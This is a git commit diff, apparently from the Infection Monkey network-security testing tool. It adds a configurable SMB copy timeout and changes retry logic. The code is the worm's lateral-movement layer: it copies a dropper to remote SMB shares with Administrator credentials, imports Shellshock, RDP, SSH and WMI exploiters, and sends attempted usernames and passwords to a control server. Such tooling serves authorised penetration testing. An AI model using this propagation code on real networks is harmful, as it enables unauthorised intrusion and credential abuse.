PEP8 in diff files

Add concept of non default timeout for copying SMB files. This is by default 5 minutes.
Changed behavior of SMB exploiter if file already exists, we don't assume exploitation is useless and try again. Worse case is we run the monkey after it finished running.
Changed behavior if managed to connect to machine to IPC$ over some dialect. If Success, we don't try again.
This commit is contained in:
daniel goldberg 2016-09-05 17:45:27 +03:00
parent 5ae67840a6
commit 32c326bd7b
6 changed files with 33 additions and 22 deletions

View File

@ -206,6 +206,9 @@ class Configuration(object):
# rdp exploiter
rdp_use_vbs_download = True
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds
# system info collection
collect_system_info = True

View File

@ -65,6 +65,7 @@
"psexec_user": "Administrator",
"range_size": 30,
"rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"retry_failed_explotation": true,
"scanner_class": "TcpScanner",
"self_delete_in_cleanup": true,

View File

@ -2,6 +2,7 @@ from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []
@ -18,4 +19,4 @@ from wmiexec import WmiExploiter
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from shellshock import ShellShockExploiter

View File

@ -79,7 +79,8 @@ class SmbExploiter(HostExploiter):
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
self._config.smb_download_timeout)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
@ -131,6 +132,7 @@ class SmbExploiter(HostExploiter):
return False
smb_conn = rpctransport.get_smb_connection()
break
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)

View File

@ -22,6 +22,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class DceRpcException(Exception):
pass
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@ -111,7 +112,6 @@ class WmiTools(object):
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
@ -132,7 +132,7 @@ class WmiTools(object):
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where, )
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
@ -166,13 +166,13 @@ class WmiTools(object):
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
def copy_file(host, username, password, src_path, dst_path, timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password)
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
if not smb:
return None
@ -183,7 +183,8 @@ class SmbTools(object):
try:
smb.logoff()
except: pass
except:
pass
return None
@ -236,9 +237,9 @@ class SmbTools(object):
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), )
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info), )
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
@ -248,7 +249,7 @@ class SmbTools(object):
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password)
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
if not smb:
return None
@ -271,7 +272,7 @@ class SmbTools(object):
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return None
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
@ -279,6 +280,8 @@ class SmbTools(object):
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
@ -308,7 +311,7 @@ class SmbTools(object):
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password):
def new_smb_connection(host, username, password, timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc:
@ -334,6 +337,7 @@ class SmbTools(object):
host, username, password, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
@ -341,7 +345,7 @@ class SmbTools(object):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, ))
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@ -376,12 +380,12 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_target_monkey(host):
from control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
@ -391,15 +395,15 @@ def get_target_monkey(host):
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2**32) or \
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
@ -425,5 +429,4 @@ def report_failed_login(exploiter, machine, user, password):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__,
'user':user,'password':password})
'user': user, 'password': password})

View File

@ -81,7 +81,8 @@ class WmiExploiter(HostExploiter):
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
self._config.smb_download_timeout)
if not remote_full_path:
wmi_connection.close()